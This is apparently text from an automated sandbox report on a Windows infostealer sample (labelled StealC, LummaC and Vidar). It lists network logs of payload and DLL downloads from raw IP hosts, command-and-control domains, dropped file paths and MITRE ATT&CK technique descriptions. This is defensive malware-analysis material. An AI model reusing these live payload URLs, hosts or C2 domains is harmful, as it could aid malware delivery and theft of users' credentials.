Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlp.dll HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 49.12.197.9Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/wp-ping.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66fbfcc301a31_swws.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfccd837ac_vadggdsa.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/66fbfcc9963ca_ldfsna.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache

Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Service-0x0-3e7$\Defauptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: RegAsm.exe, 0000001D.00000002.3633419758.0000000001263000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: iplogger.org
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: chorusarorp.site
Source: global traffic	DNS traffic detected: DNS query: questionsmw.store
Source: global traffic	DNS traffic detected: DNS query: soldiefieop.site
Source: global traffic	DNS traffic detected: DNS query: abnomalrkmu.site
Source: global traffic	DNS traffic detected: DNS query: treatynreit.site
Source: global traffic	DNS traffic detected: DNS query: snarlypagowo.site
Source: global traffic	DNS traffic detected: DNS query: mysterisop.site
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org
Source: global traffic	DNS traffic detected: DNS query: absorptioniw.site
Source: global traffic	DNS traffic detected: DNS query: gravvitywio.store

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 66fb252fe232b_Patksl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAKEBGDAF.exe

C:\ProgramData\BGHIDGCA

C:\ProgramData\DHCAECGI

C:\ProgramData\EBKJDBAAKJ.exe

C:\ProgramData\FBFHDBKJEGHJJJKFIIJE

C:\ProgramData\GCBGCAFIIECBFIDHIJKFBAKEGD

C:\ProgramData\GIEGHJEGHJKFIEBFHJKKKFHCFH

C:\ProgramData\HCFIIIJJKJKFHIDGDBAKJEBKEG

C:\ProgramData\HDGIJJDGCB.exe

Windows Analysis Report
66fb252fe232b_Patksl.exe

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre